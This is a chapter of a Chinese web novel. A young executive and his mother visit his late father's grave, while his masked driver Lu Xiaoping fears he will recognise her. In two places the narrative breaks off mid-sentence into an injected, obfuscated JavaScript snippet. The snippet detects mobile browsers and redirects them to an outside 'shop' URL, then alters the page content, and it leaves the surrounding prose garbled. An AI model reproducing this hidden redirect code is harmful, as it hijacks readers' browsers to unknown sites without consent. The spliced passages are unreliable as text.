“我还买了一包,冻冰箱里。” 祁分珩一愣:“妈,我不怎么在家做饭的。” “我知道,我看你厨房就知道。不过我来的这几天,你总要回家来吃吧?” 祁分珩道:“我尽量吧。”他忽然想起什么,给陆小萍发了条信息:“你吃早饭了吗?” 李莲见状皱眉:“吃个饭也是手机不停。我给你发的视频你看了吗?有一条讲吃饭玩儿手机,胃癌风险要高120%。” 祁分珩说:“我问司机师傅吃了没,没吃给她带点包子。” 李莲问:“你司机?在楼下等你?” “嗯。” “那不如叫她上来吃,我煮的酒酿圆子还有的多。” 祁分珩想起陆小萍社恐的性格,看了眼手机,对方没回复,说:“算了吧,等会给她带下去。” 李莲这次是来参加她小姐妹嫁女儿的婚礼,时间在周六。她坐在餐桌旁和祁分珩唠了会儿家常,祁分珩说:“妈,婚礼结束了不着急走吧?你待到下周二,我和你一起回去看爸。” 李莲说:“周二是工作日,你有时间吗?” 祁分珩把最后一口圆子倒进嘴里:“这点时间总有的。” - 陆小萍没有看到祁分珩的微信。她的手机用了四年了,开着网充电手机会发热异常。等祁分珩坐回车辆,她打开网络,才看到他发的信息。 这时祁分珩已经拎着四个包子下来了。 陆小萍用低哑的声音说道:“抱歉,祁总,我才看到信息。” 祁分珩说:“没事,这包子还热的,我妈早上从老家带来,三十年的老字号,我从小吃到大,你尝尝。” 陆小萍看了一眼包子,纸包装外印着“刘记包子”四个字,又抬起头飞快地看了一眼祁分珩,他方才的白色衬衣换成了浅蓝色的Polo杉。 陆小萍心头像是有一股复杂的电流感通过,她低头道:“谢谢祁总,我早上吃过了。” 祁分珩拎包子的手在空中停了片刻,陆小萍又说:“谢谢祁总,我中午吃。” 她接过那袋包子,将它放到了后座。 等她转身回来,却听见祁分珩定定看着她。 “你确定我们以前没见过?” 陆小萍脑袋轰然炸开,这什么意思? 刚才那一眼对视露了馅吗? 她背上流下一串汗水,不敢抬头,挨了片刻,如同等待审判,听见祁分珩又说:“宗明告诉我,是扫码你后座的牌子加的你。有一次我打车,司机也是女性,也是短发,和你一样也是帽子、墨镜、口罩、冰袖一应俱全,后面也是挂了个这样的牌子,那次我是不是就坐的你的车?” 原来是这样? 只是这样? 陆小萍控制着颤动的指尖,装作不经意地擦掉额边的冷汗,说:“不会吧。” “陆师傅,车位号4456,这不是你?”祁分珩将手机递过来,上面是他的一条历史打车记录,车辆信息一栏正是她的这辆比亚迪。 陆小萍不敢作声,瞄了眼祁分珩,他脸上是淡淡的笑,平常的、亲和的淡笑。她庆幸她没有在滴滴平台注册,不然头像那里显示的会是她的真人照片。她又拼命地想,如果是一个正常人,一个真正和祁分珩不认识的人,此刻会是什么反应?她是不是应该盯着屏幕确认这个信息,然后做出“恍然大悟”“原来是你”“真的好巧”的表情。 是了,于是她看向屏幕,这时,屏幕的界面变成一个来电显示。 任瑶。 祁分珩拿回手机接电话。 陆小萍想,无论这任瑶是谁,此刻真是她的救命恩人。 - 任瑶和祁分珩约下周去滨州的时间,拟定在周二。 祁分珩说:“周二不行,周二我家里有事。能不能换一下时间?” 任瑶问:“是一整天都不行吗?” 祁分珩道:“如果我赶过来肯定是下午,还要比上次的时间晚一点。任总可以等吗?” 任瑶道:“不太好等。下周二我们是一个高层评审会,不光是你们公司,另外还有四家公司集体进行路演,时间定在2点-5点,如果你下午能赶过来,我可以把你的顺序调在后面,再晚一点……” 祁分珩皱眉:“你稍等,我看下飞机。”他盘算了一下时间,“那麻烦瑶瑶把我安排在最后一个。” 任瑶略微迟疑:“分珩,我打算给你安排第2个,这个顺序比较好,最后一个的话,我怕公司的领导听到后面疲惫。如果可以,能不能协调一下周二的事?最好上午过来,中午我做东一起吃个饭。你的资料我的叔伯们都看过,挺看好你。” 祁分珩道:“谢谢你,瑶瑶,但是我周二的事实在没法协调。” 任瑶问:“是什么事?” 祁分珩顿了一下,道:“是我爸的忌日。我要陪我妈回老家看看他。” 任瑶一时没了声,她知道祁分珩的父亲在他大学时因病去世了,当地的风俗是忌日一定要回去的,于是也只好道:“好。那你先回家,定好机票和我说,我派车在机场接你。” 挂了电话,红灯倒计时,3……2……1……祁分珩低头看机票,直到后面有人鸣笛,他下意识地抬头,才感觉到汽车如梦初醒地发动出去。 雨刮缓慢地扫过挡风玻璃,祁分珩侧过脸,见陆小萍神色如常,平稳地看着前方。 他说:“下周二要辛苦一下你,早上6点来小区接我,去个地方,然后再把我送到机场,地址我微信发你。” 陆小萍只是点了点头。 - 祁分珩到了公司便与杨宗明和夏颖颖拉了一个会议。下周二他们去天阳集团路演,结束后想去徐莹老爸徐大胜的朝阳橡胶实地洽谈。夏颖颖此时离她归回时间还剩一周。 视频打开,她穿着白色T恤,带着一副黑框眼镜,面色红润,看上去比之前还胖了些。 夏颖颖虽然脾气火爆,看上去大大咧咧,但人心都是肉做的,分手后两个星期她暴瘦十五斤。祁分珩心疼师妹,主动和她说,你去外面玩儿一趟,散散心。夏颖颖一去就是一个月,走前还说你们都不要联系我。祁分珩说到做到,除了偶尔问及她的平安,丝毫不提工作的事。只有杨宗明脸皮比较厚,时不时骚扰她,特别是假期快结束时,他总给她发工作信息。 杨宗明昨晚已经和她通话,说过了前情提要。夏颖颖状态恢复,单手撑着下巴,等祁分珩发话。 祁分珩也不啰嗦,开门见山:“颖颖觉得呢?” 夏颖颖道:“你确定我们要研究橡胶?以我们现在的技术力量,没有任何说服力。我只在研究生时候参加过一个和工程专业同学一起的sdudio,这个稍微能沾边。后面我们的方向都是已经没有专研过这个领域了。” 祁分珩道:“朝阳橡胶那么大体量的企业,我们只要能解决他们一点问题就行。下周去我们两个目的,一是实地了解,二是聊聊有什么痛点。我记得当你们探究过一个子课题,是与天然橡胶相当的可自我修复的新型“自愈” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17065599|194994||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 橡胶,采用这种橡胶,轮胎爆胎后可以在机动车行进中自我修复,并像天然橡胶一样强韧。是不是有这么一回事?” 夏颖颖道:“有是有,还申请过专利,但后面没消息了。要生产这种材料成本很高,当时没有企业将它工业化。” 杨宗明眼睛一亮:“当时不行,现在发展了这么些年,或许条件成熟了。” 夏颖颖道:“我得了解一下才知道,我问问我小组的人。”夏颖颖在电脑上操作一番,“问到给你们回话。” “朝阳橡胶的资料我也发你。他们去年产能已经过亿条了,下个月就在港股上市。” 夏颖颖笑道:“昨天宗明就发我了。这可是条大肥鱼,要是我们真的能帮他们解决一点技术难题,那他们也能帮我们解决一下燃眉之急。我这两天准备一下资料,回头发你。” - 这几天陆小萍很闲,原因是她的老板们很忙。 每天阴雨绵绵,整个甜水巷都泛着一股受潮硬纸壳的味道。杨宗明说他们这几天都在公司,不会用车,让陆小萍自便。陆小萍跑了几天网约车,周一,她难得没有出去。张涛对她表示惊奇,他说像她这样钻到钱眼里去的人居然没有出去跑车,真是太阳从西边出来了。陆小萍看着外面的天发呆,说就算是机器这几天也发霉了,何况她是人。 阿倩撩开帘子走出来:“这雨哟,下得人都软绵绵的。前面太阳晒死人,好不容易盼来下雨,这雨又下得没完没了。小萍,晚上要不要去我夜总会玩儿?” 陆小萍说:“去不起。” 阿倩拉了个小凳子在她旁边坐下,笑嘻嘻:“和我去你还花什么钱。我们现在新推出了一个项目,专门面对女性的,可以点男模,要不要去试试。” 张涛从葛优瘫坐起来:“什么玩意?” 阿倩说:“你不行,你长相身高都不行,别瞎激动。” 陆小萍笑了笑,靠在阿倩肩上,说:“好啊,免费的我就去看看。” 阿倩说:“酒水可以我给你免了,但模子哥的小费你得自己给。” “多少?” “800起步吧。” “多少?!”张涛的惊声尖叫,“怎么不去抢?!” 陆小萍又笑:“不去了。” 阿倩喜欢穿吊带,她的肩头光滑圆润,陆小萍贴着她的肩头,想到了她的妈妈陆芳华。她想她和阿倩能处得来也是有原因的,阿倩出身并不好,她是家中老大,家里还有一个妹妹和一对双胞胎弟弟。她爸喝醉了就打人,先是打她妈,把她妈打跑了就打她。初二那年她再也忍受不住,跟一个黄毛跑了。当她看到陆小萍那么耐心/孝心地对顾岭,她感到匪夷所思。她说她从来没想过父女关系可以是这样,她爸打她打得最狠的时候,她只想杀了他。 她说她和黄毛跑出小镇后,没过多久就发现自己怀孕了。黄毛不管,直接失踪。她找到电线杆上面的小广告去堕胎,从小诊所出来浑身不停颤抖,血一直沿着大腿往下滴,引来了一群野狗,她被狠狠咬了两口,她想,可能她这辈子最后是被狗咬死的。又想,老天爷你真够狠的,要是这次没死成,她一定狠狠活成个人样。她运气好,被一个下班的干部模样的人送到了医院,她得救了。她想好好报答他,一个月后,他让她做了见不得光的地下情人。 那年她16岁,对方40岁,和他爸一样大。 阿倩是一个很有故事的人,但她只把故事讲到这里。她说小萍肯定也有故事,但小萍不和她讲,于是她也不讲了。这并不妨碍陆小萍与她成为朋友,她的精明泼辣总让她想起陆芳华。陆小萍的妈妈陆芳华看上去温婉柔弱,事实上也是一个干脆干练、顶天立地的人,她其实什么也不怕,天不怕地不怕,温柔中带着一股狠劲。这些珍珠般的品性当时被她爸的盛大光芒掩盖了。 只有当太阳陨落,星星的光芒在才会在黑暗的夜空里闪现。 18. 他也绝对不会想到,在几个小时后…… 陆小萍贴着阿倩的肩头,听见阿倩问:“小萍,你以前是做什么的?” 一听这话,看短剧的张涛把音量键关小了些。 陆小萍说:“什么以前?” “你家里以前条件应该很好吧,一看就和我们不一样,你是富人家养大的。” “富人家的孩子会只有高中文凭吗?” “所以我也疑惑,我听一个客人讲,小孩高中成绩不好就会想办法送国去,好歹花钱买个大学文凭回来。你为什么只有高中文凭?” 陆小萍说:“因为我家没钱,而且我顽劣,成绩太差,不想上学。” 阿倩笑着用食指点她额头:“你就不肯和我说实话,你这么聪明,肯定是学霸。你爸以前是不是大老板?” 陆小萍说:“如果是大老板,我怎么还会住在这样的租出房里,我至少有好几套别墅可以住。” 阿倩说:“好吧,不说算了。”又问她,“你这么年轻,以后打算做什么,总不能一辈子住这里开网约车吧?总要找个男人吧?” 张涛插话进来:“我这里怎么了,不好吗?” 阿倩“啧”一声,一幅恨铁不成钢的样子:“女人说话,男人别插嘴。” 陆小萍站起身,不欲多言,对张涛说:“明天周二,我帮你看摊子,你去帮我开车。” 张涛问:“夜班吗?” “不是,就白天。早上5点出发,大概吃过午饭就结束。” “你为什么不去?明天你有事?” 陆小萍看着外面的细雨:“嗯,有事。” “有什么事?” 陆小萍走回室内,没有回答。 她已经想好了,等周二结束,即便杨宗明的奔驰车还没修好,陆小萍也不干了。 - 祁分珩几乎住在了公司。 他办公室里面有一张床,有时候太晚了就直接睡公司。对于这点,李莲颇有微词,她知道事业很重要,但是祁分珩这样的状态就像个机器人。他没有生活,只有工作;没有呼朋唤友的酒局,也没有漂亮女生的约会,好像都没什么人间的七情六欲,这样下去可了得。 别事业没闯出来,人先变成了和尚。 周六参加姐妹的婚礼,李莲在酒席上加了两位伴娘的微信。她把伴娘的微信推给祁分珩,发了一串信息过去,过了好几个小时,祁分珩才回两个字:好的。 周一晚上十点,祁分珩回家,简单收拾了一下东西。李莲本还想和儿子说说话,见他面色疲惫,也就简单交代几句,两人睡了。 周二一早,黑色的比亚迪静静停在楼下。 祁分珩和李莲坐进车,张涛在副驾驶对祁分珩打招呼:“祁总好。阿姨好。” 祁分珩对他点点头。 昨天陆小萍在微信上和他请假,说今天她临时有点事,让她朋友来代班。 - 汽车上了高架,一路向城郊西北方向驶去。 昨天,陆小萍把第一站的定位发给张涛,张涛一看就跳了起来:“我靠,怎么是个墓地!” 陆小萍语气平平:“见棺发财,你做生意,正好旺一旺你。” 张涛问道:“怎么了,你们老板家有人走了?” 陆小萍道:“明天是祁总老爸的忌日,他和他妈去看他。” 张涛“哦”了声。墓地不在木安市内,准确地说更靠近绍明市的城郊。他问:“你老板——什么总来着?是绍明市人?” “祁总,”陆小萍道,“你问那么多干嘛,你就只管开车,到了地方你就等,不用陪着。等他们结束自然会下来。” “这些我知道。然后呢?” “然后你把祁总送回木安机场。他的飞机是12点20起飞,你务必要在11点30之前将他送到机场。” “我靠,这怎么来得及!”张涛又叫,“开车去墓地要2个小时,墓地去机场也要一个半小时,万一堵车怎么办?” “所以出发要早。明天早上6点在他家楼下出发,到墓地8点,他们祭拜留一个小时,9点结束,开车去机场10点半,预留了一个小时的突发情况。” “我靠真是急行军,怪不得你明天不想去。” 陆小萍不语,又道:“祭拜结束后,祁总的妈妈大概率是要回绍明市。如果要送她,你要提醒祁总注意时间,中午的飞机切记不能耽搁。” “知道了知道了。你明天有啥事啊?要干嘛去?” 陆小萍有些不耐:“说了有事。” “你有啥事?我还不知道你,你能有什么事情?搞什么神秘?” 陆小萍已经转身走了,听闻这话,忽然回头问他:“我们很熟吗?” 她的脸拉得很长,张涛被她这忽如其来的变脸吓住,说:“熟……熟……不熟吗?你搞什么人吓人……” 陆小萍没再搭理他。 过了一会儿,张涛拍脑顿悟:“是狐臭!肯定是这个祁总,狐臭得很!” 所以祁分珩和李莲上车后,张涛将驾驶室的窗户开了很小一个缝隙。过了会儿,他好像也没闻到什么奇怪的味道。 车里的收音机有些无聊,张涛主动和祁分珩搭话:“祁总,早上吃过了吗?” 祁分珩坐在后排,道:“吃过了。你呢?” “我也吃了,小萍说今天时间很紧,不能迟到,我早上四点就起了。” 李莲插话进来:“这么早,辛苦你了。” “辛苦啥呢,”张涛说,“我们一般5-6点就起床。” 他用了“我们”,又说“起床”,李莲自动将他和陆小萍带入成一对情侣,遂问:“你们是做什么的?” 张涛说:“我开店的,个体户,卖点零售小东西。” “平时是你——”李莲顿了下,找了个用词,“是你对象开这车?” 张涛听到“对象”这个称呼,嘴巴都要裂到天边:“是是是,她车技比我好,她开白天,如果晚上要跑,就我来。当然你们放心,我车技也是很好的,小萍再三和我叮嘱时间,一定不会耽误祁总赶飞机。” 他从后视镜里看了眼祁分珩,对他露出“使命必达”的笑容。祁分珩也看了眼这位陆小萍的“对象”,他穿着圆领T恤,留着寸头,眼睛细长,白白胖胖,看上去很好说话。 祁分珩说道:“到 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17069371|194994||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 现在其实我都没见过陆师傅的真面目,她一直都是蒙面防晒。她说是怕紫外线……” 张涛哈哈大笑:“嗐,她就这样,面上看起来文文静静的,其实闷骚得很。女孩子嘛,臭美可以理解,我也给她买过好多防晒霜,她还省着不舍得用……” 这时候,祁分珩的电话响了,张涛止住了谈话。 七点五十八,汽车抵达公墓入口。天没下雨,但阴沉沉的。祁分珩拎着香烛、鲜花,和李莲下了车,走之前张涛说:“祁总,9点前回来可以吧?” 祁分珩点点头。李莲道:“谢谢你了,师傅。” - 沿着台阶往上走,祁勇的墓地在第十二行。他从确诊到离开只有三个月,没有人想到事情会这么快,墓地是在巨大的悲痛和仓促中买的。前面一周下雨,深色大理石的墓碑被冲洗得很干净,李莲站在墓碑旁,右手搭着它细细抚摩。祁分珩蹲在前面,点燃一对香烛。 李莲说:“老祁,我们来看你了。你在那边还好吧?我和儿子都好。分珩公司很忙,等会看完你就要飞滨州,要去谈两个项目。你在天之灵,一定要保佑他马到成功。” 祁分珩闻言笑道:“爸,你别有压力,成不了我也不会赖您。”他抽出一叠纸钱点燃,给李莲让地儿:“妈,来点香吧。” 李莲点了三根香,拜了拜,插前面香炉里。祁分珩跪在碑前,点燃三根香,磕拜三下:“爸,我是分珩,我来看您了。我现在一切都好,您别担心。要是有什么缺的,您托梦给我。” 李莲站在一旁看着祁分珩青黑的后脑勺,又说:“老祁,今年初一我收到最后一笔款,我们该得的终于全部还回来了。虽然我们现在不差钱,但是该得的一分也不能少。这些年都是原来的车间主任刘军在给我们转款,我们想方设法打听那家人在哪儿,刘军说他不知道,他肯定知道,只是可能对方给了他更多的钱,他守口如瓶。” 祁分珩闻言看了李莲一眼,李莲蹲在他身边,给祁勇烧纸。 李莲唠家常一般说道:“你说他们对我们狠,说没钱,但自己破了产反而还有能力把自己女儿送出国。这两年我听说他女儿在国外重新念了大学,找了不错的工作,结婚生子定居。我时常在想,如果当年你没有那么轻率和天真,是不是我们现在一家三口还好好的?……唉,扯远了……你今天看到到分珩,是不是都觉得他又成长了一些?我替你高兴,替他高兴,同时也心痛他……” “妈,”祁分珩打断她的话,“说这些干嘛。您说这些,爸该担心了。” “好好好,”李莲止住话题,笑看祁分珩一眼,“不说了,你来上香。” 祁分珩把香恭恭敬敬插好。 他站起身,看着墓碑上的照片,照片里的祁勇也看着他,露着欣慰的微笑。他的父亲祁勇永远五十岁。 不知为何,祁分珩的脑子里忽然浮现出另外一张照片,也是一张标准照,上面是一张女生稚嫩青春的脸。 此时此景,他很难不触景生情。那张脸在他的脑海里模糊地闪现片刻,便被山头的风吹走了。 他绝对不会想到,在几个小时后,他会亲眼见到这张脸。